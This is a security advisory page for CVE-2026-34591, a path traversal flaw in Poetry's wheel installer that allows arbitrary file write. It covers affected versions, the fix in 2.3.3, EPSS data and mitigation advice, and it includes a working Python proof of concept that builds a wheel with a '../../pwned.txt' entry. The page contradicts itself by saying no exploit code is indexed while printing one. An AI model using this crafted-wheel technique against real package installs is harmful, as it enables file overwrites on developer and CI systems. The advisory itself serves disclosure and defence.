How severe is CVE-2026-34591?

No CVSS score has been assigned to CVE-2026-34591 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2026-34591?

CVE-2026-34591 affects the following packages: poetry (PyPI). Ecosystems affected: PyPI.

How do I fix CVE-2026-34591?

Update poetry to 2.3.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-34591 is resolved across your whole dependency graph.

How do I detect CVE-2026-34591 in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for poetry, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-34591 if there is no patch (or I can't update yet)?

Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Is CVE-2026-34591 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-34591 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-34591?

CVE-2026-34591 has an EPSS (Exploit Prediction Scoring System) score of 0.5%, placing it in the 42th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-34591?

CVE-2026-34591 is classified as Path Traversal (CWE-22). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was CVE-2026-34591 published, and has it been updated?

CVE-2026-34591 was published on April 2, 2026 and was last updated on October 28, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍 PyPI

Not in CISA KEV

CVE-2026-34591 — poetry

Fix: python-poetry/poetry@ed59537

CVE-2026-34591 is a Path Traversal vulnerability in poetry. A fix is available for poetry — see the affected versions and patch details below.

Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write

Also known asGHSA-2599-h6xx-hpxpPYSEC-2026-2260

Published

Apr 2, 2026

Updated

Oct 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-34591.

EPSS Exploitation Probability

via FIRST.org ↗

0.5%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs42th percentile — riskier than 42% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

🐍poetry

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process.

Impact

Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.

Patches

Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.

Details

Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path:

src/poetry/installation/wheel_installer.py:47 src/poetry/installation/wheel_installer.py:59

The vulnerable sink is reachable in normal installation: src/poetry/installation/executor.py:607

No resolve() + is_relative_to() style guard is enforced before writing.

POC

from pathlib import Path
import tempfile, zipfile, sys
from installer import install
from installer.sources import WheelFile
from poetry.installation.wheel_installer import WheelDestination

root = Path(tempfile.mkdtemp(prefix="poetry-poc-"))
wheel = root / "evil-0.1-py3-none-any.whl"
base = root / "venv" / "lib" / "pythonX" / "site-packages"
for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]:
    d.mkdir(parents=True, exist_ok=True)

files = {
    "evil/__init__.py": b"",
    "../../pwned.txt": b"owned\n",
    "evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n",
    "evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n",
}
files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode()

with zipfile.ZipFile(wheel, "w") as z:
    for k,v in files.items(): z.writestr(k,v)

dest = WheelDestination(
    {"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")},
    interpreter=sys.executable, script_kind="posix"
)
with WheelFile.open(wheel) as src:
    install(src, dest, {"INSTALLER": b"PoC"})

out = (base / "../../pwned.txt").resolve()
print("outside write:", out.exists(), out)

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`poetry`	≥ 1.4.0&&< 2.3.3	2.3.3`pip install --upgrade 'poetry==2.3.3'`

Affected Products

1 product · 1 configurations

Application

poetrypython-poetry

≥ 1.4.0 && < 2.3.3

range

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for poetry, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update poetry to 2.3.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-34591 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

### Summary A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. ### Impact Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages. ### Patches Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted. ### Details Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path

O3 Security · Impact-Aware SCA

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